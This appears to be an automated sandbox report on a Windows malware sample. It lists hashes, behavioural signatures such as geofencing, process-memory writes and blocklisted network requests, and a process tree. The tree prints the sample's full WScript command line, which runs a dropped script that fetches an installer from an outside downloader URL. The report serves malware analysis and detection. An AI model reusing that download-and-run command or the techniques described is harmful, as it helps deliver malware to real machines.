Analysis
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max time kernel
93s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 14:17
Static task
static1
Behavioral task
behavioral1
Sample
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe
Resource
win10v2004-20240611-en
General
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Target
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe
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Size
184KB
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MD5
a5fae92c38985ccbf4ed5eabcde1598b
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SHA1
ccb8d1770b45529184e38d24096691f9af661cce
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SHA256
8303ad204366d92b8315feb0a324a0b42b28fd0a7d7f09f86d946cdb18db1482
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SHA512
55e20bb7b18d75457d6d24e98f2f55161464af5934f519b3fc05f42e43c91025f989b7c117cbbb5be1481041ccc25295d092f70310bdb5ec0697fa82fa7a9ef6
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndno
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 3 828 WScript.exe 22 2248 WScript.exe 26 4288 WScript.exe 39 2276 WScript.exe 41 4832 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exedescription pid process target process PID 2892 wrote to memory of 828 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 828 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 828 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2248 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2248 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2248 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4288 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4288 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4288 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2276 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2276 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 2276 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4832 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4832 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe PID 2892 wrote to memory of 4832 2892 a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a5fae92c38985ccbf4ed5eabcde1598b_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe2⤵
- Blocklisted process makes network request
PID:828 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe2⤵
- Blocklisted process makes network request
PID:2248 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe2⤵
- Blocklisted process makes network request
PID:4288 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe2⤵
- Blocklisted process makes network request
PID:2276 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2FDA.js" http://www.djapp.info/?domain=zeHqIXrreq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf2FDA.exe2⤵
- Blocklisted process makes network request
PID:4832
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76